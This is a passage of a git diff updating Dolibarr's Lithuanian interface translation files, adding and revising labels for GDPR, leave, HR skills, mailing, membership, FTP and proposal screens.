+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Klientas +DATAPOLICY_TIERS_PROSPECT = Numatomas klientas +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Tiekėjas +DATAPOLICY_CONTACT_CLIENT = Klientas +DATAPOLICY_CONTACT_PROSPECT = Numatomas klientas +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Tiekėjas +DATAPOLICY_ADHERENT = Narys +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/lt_LT/dict.lang b/htdocs/langs/lt_LT/dict.lang index 32b569c784c..f7481b3dfc0 100644 --- a/htdocs/langs/lt_LT/dict.lang +++ b/htdocs/langs/lt_LT/dict.lang @@ -21,7 +21,7 @@ CountryNL=Nyderlandai CountryHU=Vengrija CountryRU=Rusija CountrySE=Švedija -CountryCI=Dramblio kaulo krantas +CountryCI=Ivory Coast CountrySN=Senegalas CountryAR=Argentina CountryCM=Kamerūnas @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=p. +CivilityMMEShort=p. CivilityMR=p. +CivilityMRShort=p. CivilityMLE=p. CivilityMTRE=Magistras CivilityDR=Daktaras diff --git a/htdocs/langs/lt_LT/ecm.lang b/htdocs/langs/lt_LT/ecm.lang index a3c668ff1cf..9a2e3a16d58 100644 --- a/htdocs/langs/lt_LT/ecm.lang +++ b/htdocs/langs/lt_LT/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Rankinis katalogas ECMSectionAuto=Automatinis katalogas ECMSectionsManual=Rankinis medis ECMSectionsAuto=Automatinis medis +ECMSectionsMedias=Medias tree ECMSections=Katalogai ECMRoot=ECM Root ECMNewSection=Naujas katalogas @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Failų skaičius pakatalogiuose ECMCreationUser=Kūrėjas ECMArea=DMS/ECM area ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* Automatiniai katalogai yra užpildomi automatiškai, pridedant dokumentus iš elemento kortelės.
      * Rankiniai katalogai gali būti naudojama saugoti dokumentams, nesusijusiems su konkrečiu elementu. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Katalogas %s buvo ištrintas. ECMSectionWasCreated=Directory %s has been created. ECMSearchByKeywords=Ieškoti pagal raktinius žodžius diff --git a/htdocs/langs/lt_LT/holiday.lang b/htdocs/langs/lt_LT/holiday.lang index 9df0640e8c6..5ddbfd8ab79 100644 --- a/htdocs/langs/lt_LT/holiday.lang +++ b/htdocs/langs/lt_LT/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=Žmogiškųjų išteklių valdymas (HRM) -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=Mėnesio suvestinė MenuAddCP=New leave request +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Make a leave request DateDebCP=Pradžios data @@ -56,6 +58,7 @@ ConfirmDeleteCP=Confirm the deletion of this leave request? ErrorCantDeleteCP=Error you don't have the right to delete this leave request. CantCreateCP=You don't have the right to make leave requests. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Turite pasirinkti pradžios datą. NoDateFin=Turite pasirinkti pabaigos datą. ErrorDureeCP=Your leave request does not contain working day. @@ -79,6 +82,8 @@ MotifCP=Priežastis UserCP=Vartotojas ErrorAddEventToUserCP=Pridedant išimtines atostogas įvyko klaida. AddEventToUserOkCP=Išimtinių atostogų pridėjimas baigtas. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=View change logs LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Ankstesnis balansas NewSoldeCP=Naujas balansas alreadyCPexist=A leave request has already been done on this period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Grupės +users=Vartotojai +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/lt_LT/hrm.lang b/htdocs/langs/lt_LT/hrm.lang index 942d5f8cef4..1508b8ab0e8 100644 --- a/htdocs/langs/lt_LT/hrm.lang +++ b/htdocs/langs/lt_LT/hrm.lang @@ -12,7 +12,7 @@ OpenEtablishment=Open establishment CloseEtablishment=Close establishment # Dictionary DictionaryPublicHolidays=Leave - Public holidays -DictionaryDepartment=HRM - Department list +DictionaryDepartment=HRM - Organizational Unit DictionaryFunction=HRM - Job positions # Module Employees=Employees @@ -20,13 +20,14 @@ Employee=Darbuotojas NewEmployee=New employee ListOfEmployees=List of employees HrmSetup=HRM module setup -HRM_MAXRANK=Maximum rank for a skill +SkillsManagement=Skills management +HRM_MAXRANK=Maximum number of levels to rank a skill HRM_DEFAULT_SKILL_DESCRIPTION=Default description of ranks when skill is created deplacement=Shift DateEval=Evaluation date JobCard=Job card -Job=Darbas -Jobs=Jobs +JobPosition=Job profile +JobsPosition=Job profiles NewSkill=New Skill SkillType=Skill type Skilldets=List of ranks for this skill @@ -47,9 +48,8 @@ ConfirmValidateEvaluation=Are you sure you want to validate this evaluation with EvaluationCard=Evaluation card RequiredRank=Required rank for this job EmployeeRank=Employee rank for this skill -Position=Pozicija -Positions=Positions -PositionCard=Position card +EmployeePosition=Employee position +EmployeePositions=Employee positions EmployeesInThisPosition=Employees in this position group1ToCompare=Usergroup to analyze group2ToCompare=Second usergroup for comparison @@ -70,12 +70,23 @@ RequiredSkills=Required skills for this job UserRank=User Rank SkillList=Skill list SaveRank=Save rank -knowHow=Know how -HowToBe=How to be -knowledge=Knowledge +TypeKnowHow=Know how +TypeHowToBe=How to be +TypeKnowledge=Knowledge AbandonmentComment=Abandonment comment DateLastEval=Date last evaluation NoEval=No evaluation done for this employee HowManyUserWithThisMaxNote=Number of users with this rank HighestRank=Highest rank SkillComparison=Skill comparison +ActionsOnJob=Events on this job +VacantPosition=job vacancy +VacantCheckboxHelper=Checking this option will show unfilled positions (job vacancy) +SaveAddSkill = Skill(s) added +SaveLevelSkill = Skill(s) level saved +DeleteSkill = Skill removed +SkillsExtraFields=Attributs supplémentaires (Compétences) +JobsExtraFields=Attributs supplémentaires (Emplois) +EvaluationsExtraFields=Attributs supplémentaires (Evaluations) +NeedBusinessTravels=Need business travels +NoDescription=No description diff --git a/htdocs/langs/lt_LT/mailmanspip.lang b/htdocs/langs/lt_LT/mailmanspip.lang index 5127f2e280a..ee3b0637443 100644 --- a/htdocs/langs/lt_LT/mailmanspip.lang +++ b/htdocs/langs/lt_LT/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Prenumeratos testas buvo sėkmingai atliktas MailmanDeletionSuccess=Atsisakymo testas buvo sėkmingai atliktas SynchroMailManEnabled=Paštininko atnaujinimas bus atliekamas SynchroSpipEnabled=SPIP atnaujinimas bus atliekamas -DescADHERENT_MAILMAN_ADMINPW=Paštininko administratoriaus slaptažodis +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Paštininko administratoriaus slaptažodis DescADHERENT_MAILMAN_URL=URL Paštininko prisijungimai DescADHERENT_MAILMAN_UNSUB_URL=URL Paštininko prisijungimams DescADHERENT_MAILMAN_LISTS=Naujų narių (atskirtų kableliais) automatinių užrašų sąrašas (-ai) diff --git a/htdocs/langs/lt_LT/mails.lang b/htdocs/langs/lt_LT/mails.lang index 331350bb105..fa4ce048ddb 100644 --- a/htdocs/langs/lt_LT/mails.lang +++ b/htdocs/langs/lt_LT/mails.lang @@ -7,10 +7,10 @@ MailCard=E-Pašto kortelė MailRecipients=Gavėjai MailRecipient=Gavėjas MailTitle=Aprašymas -MailFrom=Siuntėjas +MailFrom=Pardavėjas MailErrorsTo=Klaidos MailReply=Atsakyti -MailTo=Gavėjas (-ai) +MailTo=Pirkėjas MailToUsers=To user(s) MailCC=Kopijuoti į MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=Trečiosios šalys SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/lt_LT/main.lang b/htdocs/langs/lt_LT/main.lang index f53efe84de3..7ebfcb6d8c8 100644 --- a/htdocs/langs/lt_LT/main.lang +++ b/htdocs/langs/lt_LT/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=Available substitution variables NoTranslation=Nėra vertimo Translation=Vertimas +Translations=Translations CurrentTimeZone=Laiko juostos PHP (serveris) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Galiojantis Approve=Patvirtinti Disapprove=Nepritarti ReOpen=Atidaryti iš naujo +OpenVerb=Atidaryta Upload=Upload ToLink=Nuoroda Select=Pasirinkti @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Nėra apibrėžtos vartotojų grupės Password=Slaptažodis -PasswordRetype=Pakartokite slaptažodį +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Atkreipkite dėmesį, kad daug funkcijų/modulių yra išjungti šioje demonstracijoje. Name=Pavadinimas NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=Aprašymas DescriptionOfLine=Eilutės aprašymas DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Doc template DefaultModel=Default doc template Action=Įvykis @@ -344,7 +353,7 @@ KiloBytes=Kilobaitų MegaBytes=Megabaitų GigaBytes=Gigabaitų TeraBytes=Terabaitų -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b. Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Įvykiai su šiuo nariu ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s vėluoja ToDo=Atlikti Completed=Completed @@ -517,6 +527,7 @@ or=arba Other=Kitas Others=Kiti OtherInformations=Kita informacija +Workflow=Darbo eiga Quantity=Kiekis Qty=Kiekis ChangedBy=Pakeitė @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Prikabinti failus ir dokumentus JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH: SS @@ -709,6 +721,7 @@ FeatureDisabled=Funkcija išjungta MoveBox=Move widget Offered=Pasiūlytas NotEnoughPermissions=Jūs neturite leidimo šiam veiksmui +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=Sesijos pavadinimas Method=Metodas Receive=Gauti @@ -798,6 +811,7 @@ URLPhoto=Nuotraukos/logotipo URL SetLinkToAnotherThirdParty=Saitas į kitą trečiąją šalį LinkTo=Link to LinkToProposal=Link to proposal +LinkToExpedition= Link to expedition LinkToOrder=Link to order LinkToInvoice=Link to invoice LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Download DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Update currency rate Fiscalyear=Fiskaliniai metai ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=Sutartys SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=Išlaidų ataskaitos SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=Laikomas Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Norma +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Terminate +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Vidinis vartotojas +ExternalUser=Išorinis naudotojas diff --git a/htdocs/langs/lt_LT/members.lang b/htdocs/langs/lt_LT/members.lang index f1fbdd9ba2b..b396ce1c48b 100644 --- a/htdocs/langs/lt_LT/members.lang +++ b/htdocs/langs/lt_LT/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Kitas narys (pavadinimas/vardas: % ErrorUserPermissionAllowsToLinksToItselfOnly=Saugumo sumetimais, Jums turi būti suteikti leidimai redaguoti visus vartotojus, kad galėtumėte susieti narį su vartotoju, kuris yra ne Jūsų. SetLinkToUser=Saitas su Dolibarr vartotoju SetLinkToThirdParty=Saitas su Dolibarr trečiąja šalimi +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Narių sąrašas MembersListToValid=Numatomų narių sąrašas (tvirtinimui) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Naujas narys @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Member type can not be deleted NewSubscription=Nauja įmoka NewSubscriptionDesc=Ši forma leidžia įrašyti Jūsų pasirašymą kaip naują organizacijos narį. Jei norite atnaujinti savo pasirašymą (jei jau narys), prašome vietoj susisiekti su Organizacijos valdyba e-paštu %s. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Trukmė +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Vėlai SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=Jūsų nario kortelės turinys # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Apyvarta (įmonės) arba Biudžeto (organizacijos) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Peršokti į integruotą interneto mokėjimo puslapį +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=By nature MembersStatisticsByProperties=Members statistics by nature VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/lt_LT/other.lang b/htdocs/langs/lt_LT/other.lang index 97858418b48..0821686b797 100644 --- a/htdocs/langs/lt_LT/other.lang +++ b/htdocs/langs/lt_LT/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=Kliento pasiūlymas patvirtintas Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Komercinis pasiūlymas nusiųstas paštu Notify_WITHDRAW_TRANSMIT=Perdavimo atsiėmimas Notify_WITHDRAW_CREDIT=Kredito atšaukimas @@ -181,6 +183,7 @@ SizeUnitfoot=pėda SizeUnitpoint=taškas BugTracker=Defekto trekeris SendNewPasswordDesc=This form allows you to request a new password. It will be sent to your email address.
      Change will become effective once you click on the confirmation link in the email.
      Check your inbox. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Atgal į prisijungimo puslapį AuthenticationDoesNotAllowSendNewPassword=Autentifikavimo režimas yra %s.
      Šiame režime Dolibarr negali žinoti, nei pakeisti Jūsų slaptažodžio.
      Susisiekite su sistemos administratoriumi, jei norite pakeisti savo slaptažodį. EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Uždaryti Autofill = Autofill + +# externalsite +ExternalSiteSetup=Nustatymų nuoroda į išorinę interneto svetainę +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Modulis ExternalSite nebuvo tinkamai sukonfigūruotas. +ExampleMyMenuEntry=My menu entry + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Nepavyko pašalinti failo %s. +FTPFailedToRemoveDir=Failed to remove directory %s: check permissions and that the directory is empty. +FTPPassiveMode=Pasyvus būdas +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Failed to get files %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/lt_LT/propal.lang b/htdocs/langs/lt_LT/propal.lang index aea15c2fcb9..9ccd402a6d4 100644 --- a/htdocs/langs/lt_LT/propal.lang +++ b/htdocs/langs/lt_LT/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=Nėra pasiūlymų projekto CopyPropalFrom=Sukurti komercinį pasiūlymą kopijuojant esamą pasiūlymą CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=Komercinio pasiūlymo galiojimo trukmė (dienomis) pagal nutylėjimą +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=Are you sure you want to clone the commercial proposal %s? ConfirmReOpenProp=Are you sure you want to open back the commercial proposal %s? @@ -64,36 +65,54 @@ AvailabilityPeriod=Tinkamumo vėlavimas SetAvailability=Nustatykite tinkamumo vėlavimą AfterOrder=po užsakymo OtherProposals=Kiti pasiūlymai + ##### Availability ##### AvailabilityTypeAV_NOW=Nedelsiamas AvailabilityTypeAV_1W=1 savaitė AvailabilityTypeAV_2W=2 savaitės AvailabilityTypeAV_3W=3 savaitės AvailabilityTypeAV_1M=1 mėnuo -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Tipiškas tęstinis pasiūlymas TypeContact_propal_external_BILLING=Kliento sąskaitos-faktūros kontaktai TypeContact_propal_external_CUSTOMER=Kliento kontaktas tęstiniame pasiūlyme TypeContact_propal_external_SHIPPING=Customer contact for delivery + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Šablonas pagal nutylėjimą, kai uždaromas verslo pasiūlymas (sąskaita-faktūra neišrašoma) DefaultModelPropalCreate=Modelio sukūrimas pagal nutylėjimą DefaultModelPropalToBill=Šablonas pagal nutylėjimą, kai uždaromas verslo pasiūlymas (turi būti išrašyta sąskaita-faktūra) -DefaultModelPropalClosed=Šablonas pagal nutylėjimą, kai uždaromas verslo pasiūlymas (sąskaita-faktūra neišrašoma) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line 